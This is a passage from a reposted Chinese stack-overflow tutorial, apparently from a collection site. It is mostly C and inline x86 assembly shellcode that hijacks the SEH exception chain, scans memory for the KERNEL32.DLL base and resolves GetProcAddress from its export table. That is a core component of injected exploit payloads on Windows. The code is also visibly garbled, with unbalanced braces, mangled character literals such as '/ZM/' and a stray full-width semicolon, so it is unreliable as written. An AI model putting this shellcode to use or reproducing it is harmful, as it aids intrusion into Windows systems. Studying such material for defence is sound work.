HANDLE libhandle；
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存異常結構鏈和改動異常結構鏈，SHELLCODE接管異常 */
imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始事實上地址 */
call getexceptretadd
}
/* 得到異常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模塊地址是64K為單位，加高速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 假設到這還沒有搜索到，那可能是WIN9X系統 */
if(*( WORD *)imgbase==/ZM/&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))==/EP/){
/* 模塊結構的模塊頭 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k ==/NREK/&&*(int *)(k+4)==/23LE/){
/* 模塊名 */
libhandle=imgbase;
/* 得到模塊頭地址，就是模塊句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)==/PteG/&&*(int *)(4+imgbase+*(int *)k)==/Acor/){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模塊地址和API函數 GetProcAddress地址
// 注意這兒處理了搜索頁面不在情況。
_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢復異常結構鏈 */
if(procgetadd==0) goto die ;
/* 假設沒找到GetProcAddress地址死循環 */
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到異常后的返回地址，并填寫到異常處理模塊 */
/* 異常處理模塊 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 改動異常返回EIP指針 */
xor eax,eax //2
/* 不提示異常 */
ret //1
/* 異常處理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}
總結
以上是生活随笔為你收集整理的堆栈溢出从入门到提高的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： Java编码规范
- 下一篇： DOM Element